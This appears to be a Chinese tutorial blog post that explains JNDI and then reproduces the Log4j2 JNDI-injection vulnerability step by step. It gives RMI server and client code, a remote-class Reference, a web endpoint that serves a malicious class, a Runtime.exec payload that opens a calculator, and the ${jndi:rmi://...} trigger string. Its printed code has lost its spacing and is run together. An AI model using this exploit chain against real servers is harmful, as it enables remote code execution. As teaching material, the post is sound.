用3个实例从原理到实战讲清楚Log4j史诗级漏洞java

说起JNDI,从事JavaEE编程的人应该都在用着,但知不知道自己在用,那就看你对技术的钻研深度了。这次Log4j2曝出漏洞,不正说明大量项目或直接或间接的在用着JNDI。来看看JNDI到底是个什么鬼吧?

先来看看Sun官方的解释:

概念是不是很抽象,读了好几遍都没懂?一图胜千言:

看着怎么有点注册中心的意思?是的,如果你使用过Nacos或读过Nacos的源码,NamingService这个概念一定很熟悉。在JNDI中,虽然实现方式不同、应用场景不同,但并不影响你通过类比注册中心的方式来理解JNDI。

如果你说没用过Nacos,那好,Map总用过吧。忽略掉JNDI与Map底层实现的区别,JNDI提供了一个类似Map的绑定功能,然后又提供了基于lookup或search之类的方法来根据名称查找Object,好比Map的get方法。

总之,JNDI就是一个规范,规范就需要对应的API(也就是一些Java类)来实现。通过这组API,可以将Object(对象)和一个名称进行关联,同时提供了基于名称查找Object的途径。

最后,对于JNDI,SUN公司只是提供了一个接口规范,具体由对应的服务器来实现。比如,Tomcat有Tomcat的实现方式,JBoss有JBoss的实现方式,遵守规范就好。

命名服务就是上面提到的,类似Map的绑定与查找功能。比如:在Internet中的域名服务(domainnamingservice,DNS),就是提供将域名映射到IP地址的命名服务,在浏览器中输入域名,通过DNS找到相应的IP地址,然后访问网站。

JNDI通常分为三层:

JNDIAPI:用于与Java应用程序与其通信,这一层把应用程序和实际的数据源隔离开来。因此无论应用程序是访问LDAP、RMI、DNS还是其他的目录服务,跟这一层都没有关系。NamingManager:也就是我们提到的命名服务;JNDISPI(ServerProviderInterface):用于具体到实现的方法上。

整体架构分层如下图:

需要注意的是:JNDI同时提供了应用程序编程接口(ApplicationProgrammingInterface,API)和服务提供程序接口(ServiceProviderInterface,SPI)。

这样做对于与命名或目录服务交互的应用程序来说,必须存在一个用于该服务的JNDI服务提供程序,这便是JNDISPI发挥作用的舞台。

一个服务提供程序基本上就是一组类,对特定的命名和目录服务实现了各种JNDI接口——这与JDBC驱动程序针对特定的数据系统实现各种JDBC接口极为相似。作为开发人员,不需要担心JNDISPI。只需确保为每个要使用的命名或目录服务提供了一个服务提供程序即可。

下面再了解一下JNDI容器的概念及应用场景。

JNDI容器环境

JNDI中的命名(Naming),就是将Java对象以某个名称的形式绑定(binding)到一个容器环境(Context)中。当使用时,调用容器环境(Context)的查找(lookup)方法找出某个名称所绑定的Java对象。

容器环境(Context)本身也是一个Java对象,它也可以通过一个名称绑定到另一个容器环境(Context)中。将一个Context对象绑定到另外一个Context对象中,这就形成了一种父子级联关系,多个Context对象最终可以级联成一种树状结构,树中的每个Context对象中都可以绑定若干个Java对象。

JNDI应用

JNDI的基本使用操作就是:先创建一个对象,然后放到容器环境中,使用的时候再拿出来。

此时,你是否疑惑,干嘛这么费劲呢?换句话说,这么费劲能带来什么好处呢?

在真实应用中,通常是由系统程序或框架程序先将资源对象绑定到JNDI环境中,后续在该系统或框架中运行的模块程序就可以从JNDI环境中查找这些资源对象了。

关于JDNI与我们实践相结合的一个例子是JDBC的使用。在没有基于JNDI实现时,连接一个数据库通常需要:加载数据库驱动程序、连接数据库、操作数据库、关闭数据库等步骤。而不同的数据库在对上述步骤的实现又有所不同,参数也可能发生变化。

如果把这些问题交由J2EE容器来配置和管理,程序就只需对这些配置和管理进行引用就可以了。

以Tomcat服务器为例,在启动时可以创建一个连接到某种数据库系统的数据源(DataSource)对象,并将该数据源(DataSource)对象绑定到JNDI环境中,以后在这个Tomcat服务器中运行的Servlet和JSP程序就可以从JNDI环境中查询出这个数据源(DataSource)对象进行使用,而不用关心数据源(DataSource)对象是如何创建出来的。

这种方式极大地增强了系统的可维护性,即便当数据库系统的连接参数发生变更时,也与应用程序开发人员无关。JNDI将一些关键信息放到内存中,可以提高访问效率;通过JNDI可以达到解耦的目的,让系统更具可维护性和可扩展性。

有了以上的概念和基础知识,现在可以开始实战了。

在架构图中,JNDI的实现层中包含了多种实现方式,这里就基于其中的RMI实现来写个实例体验一把。

RMI是Java中的远程方法调用,基于Java的序列化和反序列化传递数据。

可以通过如下代码来搭建一个RMI服务:

//①定义接口publicinterfaceRmiServiceextendsRemote{StringsayHello()throwsRemoteException;}//②接口实现publicclassMyRmiServiceImplextendsUnicastRemoteObjectimplementsRmiService{protectedMyRmiServiceImpl()throwsRemoteException{}@OverridepublicStringsayHello()throwsRemoteException{return"HelloWorld!";}}//③服务绑定并启动监听publicclassRmiServer{publicstaticvoidmain(String[]args)throwsException{Registryregistry=LocateRegistry.createRegistry(1099);System.out.println("RMI启动,监听:1099端口");registry.bind("hello",newMyRmiServiceImpl());Thread.currentThread().join();}}上述代码先定义了一个RmiService的接口,该接口实现了Remote,并对RmiService接口进行了实现。在实现的过程中继承了UnicastRemoteObject的具体服务实现类。

最后,在RmiServer中通过Registry监听1099端口,并将RmiService接口的实现类进行了绑定。

下面构建客户端访问:

publicclassRmiClient{publicstaticvoidmain(String[]args)throwsException{Hashtableenv=newHashtable();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL,"rmi://localhost:1099");Contextctx=newInitialContext(env);RmiServiceservice=(RmiService)ctx.lookup("hello");System.out.println(service.sayHello());}}其中,提供了两个参数Context.INITIAL_CONTEXT_FACTORY、Context.PROVIDER_URL,分别表示Context初始化的工厂方法和提供服务的url。

执行上述程序,就可以获得远程端的对象并调用,这样就实现了RMI的通信。当然,这里Server和Client在同一台机器,就用了”localhost“的,如果是远程服务器,则替换成对应的IP即可。

常规来说,如果要构建攻击,只需伪造一个服务器端,返回恶意的序列化Payload,客户端接收之后触发反序列化。但实际上对返回的类型是有一定的限制的。

在JNDI中,有一个更好利用的方式,涉及到命名引用的概念javax.naming.Reference。

如果一些本地实例类过大,可以选择一个远程引用,通过远程调用的方式,引用远程的类。这也就是JNDI利用Payload还会涉及HTTP服务的原因。

RMI服务只会返回一个命名引用,告诉JNDI应用该如何去寻找这个类,然后应用则会去HTTP服务下找到对应类的class文件并加载。此时,只要将恶意代码写入static方法中,则会在类加载时被执行。

基本流程如下:

修改RmiServer的代码实现:

其中绑定的Reference涉及三个变量:

此时,通过Python启动一个简单的HTTP监听服务:

对应的客户端代码修改为如下:

publicclassRmiClient{publicstaticvoidmain(String[]args)throwsException{System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");Hashtableenv=newHashtable();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL,"rmi://localhost:1099");Contextctx=newInitialContext(env);ctx.lookup("hello");}}执行,客户端代码,发现Python监听的服务打印如下:

127.0.0.1--[12/Dec/202116:19:40]code404,messageFilenotfound127.0.0.1--[12/Dec/202116:19:40]"GET/Calc.classHTTP/1.1"404-可见,客户端已经去远程加载恶意class(Calc.class)文件了,只不过Python服务并没有返回对应的结果而已。

上述代码证明了可以通过RMI的形式进行攻击,下面基于上述代码和SpringBootWeb服务的形式进一步演示。通过JNDI注入+RMI的形式调用起本地的计算器。

上述的基础代码不变,后续只微调RmiServer和RmiClient类,同时添加一些新的类和方法。

第一步:构建攻击类

创建一个攻击类BugFinder,用于启动本地的计算器:

publicclassBugFinder{publicBugFinder(){try{System.out.println("执行漏洞代码");String[]commands={"open","/System/Applications/Calculator.app"};Processpc=Runtime.getRuntime().exec(commands);pc.waitFor();System.out.println("完成执行漏洞代码");}catch(Exceptione){e.printStackTrace();}}publicstaticvoidmain(String[]args){BugFinderbugFinder=newBugFinder();}}本人是Mac操作系统,代码中就基于Mac的命令实现方式,通过Java命令调用Calculator.app。同时,当该类被初始化时,会执行启动计算器的命令。

将上述代码进行编译,存放在一个位置,这里单独copy出来放在了”/Users/zzs/temp/BugFinder.class“路径,以备后用,这就是攻击的恶意代码了。

第二步:构建Web服务器

Web服务用于RMI调用时返回攻击类文件。这里采用SpringBoot项目,核心实现代码如下:

@RestControllerpublicclassClassController{@GetMapping(value="/BugFinder.class")publicvoidgetClass(HttpServletResponseresponse){Stringfile="/Users/zzs/temp/BugFinder.class";FileInputStreaminputStream=null;OutputStreamos=null;try{inputStream=newFileInputStream(file);byte[]data=newbyte[inputStream.available()];inputStream.read(data);os=response.getOutputStream();os.write(data);os.flush();}catch(Exceptione){e.printStackTrace();}finally{//省略流的判断关闭;}}}在该Web服务中,会读取BugFinder.class文件,并返回给RMI服务。重点提供了一个Web服务,能够返回一个可执行的class文件。

第三步:修改RmiServer

对RmiServer的绑定做一个修改:

第四步:执行客户端代码

执行客户端代码进行访问:

publicclassRmiClient{publicstaticvoidmain(String[]args)throwsException{System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");Hashtableenv=newHashtable();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL,"rmi://localhost:1099");Contextctx=newInitialContext(env);ctx.lookup("hello");}}本地计算器被打开:

上面演示了基本的攻击模式,基于上述模式,我们再来看看Log4j2的漏洞攻击。

在SpringBoot项目中引入了log4j2的受影响版本:

org.springframework.bootspring-boot-starter-weborg.springframework.bootspring-boot-starter-loggingorg.springframework.bootspring-boot-starter-log4j2这里需要注意,先排除掉SpringBoot默认的日志,否则可能无法复现Bug。

修改一下RMI的Server代码:

publicclassRmiServer{publicstaticvoidmain(String[]args)throwsException{System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");Registryregistry=LocateRegistry.createRegistry(1099);System.out.println("RMI启动,监听:1099端口");Referencereference=newReference("com.secbro.rmi.BugFinder","com.secbro.rmi.BugFinder",null);ReferenceWrapperreferenceWrapper=newReferenceWrapper(reference);registry.bind("hello",referenceWrapper);Thread.currentThread().join();}}这里直接访问BugFinder,JNDI绑定名称为:hello。

客户端引入Log4j2的API,然后记录日志:

importorg.apache.logging.log4j.LogManager;importorg.apache.logging.log4j.Logger;publicclassRmiClient{privatestaticfinalLoggerlogger=LogManager.getLogger(RmiClient.class);publicstaticvoidmain(String[]args)throwsException{System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");logger.error("${jndi:rmi://127.0.0.1:1099/hello}");Thread.sleep(5000);}}日志中记录的信息为“${jndi:rmi://127.0.0.1:1099/hello}”,也就是RMIServer的地址和绑定的名称。

执行程序,发现计算器被成功打开。

当然,在实际应用中,logger.error中记录的日志信息,可能是通过参数获得,比如在SpringBoot中定义如下代码:

至于Log4j2内部逻辑漏洞触发JNDI调用的部分就不再展开了,感兴趣的朋友在上述实例上进行debug即可看到完整的调用链路。

JNDI注入事件不仅在Log4j2中发生过,而且在大量其他框架中也有出现。虽然JDNI为我们带来了便利,但同时也带了风险。不过在实例中大家也看到在JDK的高版本中,不进行特殊设置(com.sun.jndi.rmi.object.trustURLCodebase设置为true),还是无法触发漏洞的。这样也多少让人放心一些。

另外,如果你的系统中真的出现此漏洞,强烈建议马上修复。在此漏洞未被报道之前,可能只有少数人知道。一旦众人皆知,跃跃欲试的人就多了,赶紧防护起来吧。

THE END
1.法网迷雾揭秘那些隐藏在法律法规背后的神秘案件一、法网之谜:法律法规的面纱下 在这个充满不确定性的世界里,法律就像一道道光明的屏障,保护着每一个公民不受侵害。但是,当我们深入探究这些法律背后,那层看似坚固的面纱却似乎变得透明,我们发现了许多未解之谜。 二、隐蔽者们:那些被遗忘的法律条款 在海量的法律文件中,有些条款如同幽灵一般飘浮着,它们被忽略,被https://www.b9yemu9l.com/jun-lei-zi-xun/481716.html
2.法律之门2021年疑云未解的案件一场针对跨境税收避免行为的大规模调查揭示了国际税收合作机制存在漏洞,并激发了一场关于如何增强国际税务执法合作、提高透明度以及打击洗钱等问题的话题。这次调查不仅让各国政府意识到需要共同努力改善现有的监管框架,而且还促使国际社会对于如何构建更加有效且公正的全球治理体系进行深入探讨。https://www.qmso18vkw.cn/jun-lei-gong-xiao/428746.html
3.python爬取cnvd漏洞库信息的实例CNVD资源今天小编就为大家分享一篇python爬取cnvd漏洞库信息的实例,具有很好的参考价值,希望对大家有所帮助。 一起跟随小编过来看看吧 今天一同事需要整理http://ics.cnvd.org.cn/工控漏洞库里面的信息,一看960多个要整理到什么时候才结束。 所以我决定写个爬虫帮他抓取数据。 https://download.csdn.net/download/weixin_38640830/12864388
4.法律案例风险(精选6篇)前些年很多企业引进技术人才,人才带来技术并把它在企业中实施,企业往往认为自己已经获得了技术。但这仅仅是实现了知识转移,在法律上企业并没有获得使用技术的权利。如果以后该人才离开企业,就很可能在是否允许企业继续使用技术的问题上发生纠纷。实践中这样的例子不少。https://www.360wenmi.com/f/filed619p34e.html
5.历史视角下的王老吉纷争——公私合营法律后遗症的一个例子2012年06月13日 18:39:17分类:社会 公私合营 产权 王老吉 上海金融与法律研究院项目研究员 刘远举 上海善达律师事务所 主任律师 周大仓 1997年,广药集团将王老吉商标租借给香港鸿道集团,鸿道集团授权其子公司加多宝集团在国内销售红罐王老吉。之后,广药集团和鸿道集团又多次展约,王老吉商标租期被延长到2020年。但https://www.douban.com/group/topic/30402806/
6.举例说明公民的权利和义务的关系举实例有关权利与义务的案例.docx文档分类:法律/法学|页数:约14页 分享到: 1/14 分享到: 1/14下载此文档 文档列表文档介绍 该【举例说明公民的权利和义务的关系举实例有关权利与义务的案例】是由【鼠标】上传分享,文档一共【14】页,该文档可以免费在线阅读,需要了解更多关于【举例说明公民的权利和义务的关系举实例有关权利与义务的案例】的内容https://www.taodocs.com/p-942067075.html
7.在法无规定的情况下的找法的步骤——法学方法论②这个例子说明,在漏洞填补的过程中,法官必须努力寻找可供案件裁判的具体规则,而不能简单地直接用法律原则来填补漏洞。所寻求的法律规则应当具有可直接适用性,尤其是能够直接与待决案件的事实发生联系。当然,即便是法律上没有具体的规则,将法律原则运用于待决案件之前,也应当将原则具体化。http://www.law-lib.com/flsz/sz_view.asp?no=2123
8.侵害行为范文5篇(全文)(二) 网络侵害行为存在法律漏洞 就我国目前的法律体系来看, 没有一套很完整并且很细致的法律法规是针对互联网侵害行为而制定的。由于网络侵害行为存在很多隐蔽性和非法性, 使得法律无法估计到每个角落, 那么网络侵害行为就钻法律的空子乘虚而入[2]。 (三) 过于依赖网络软件技术 https://www.99xueshu.com/w/ikeyq6qgkcur.html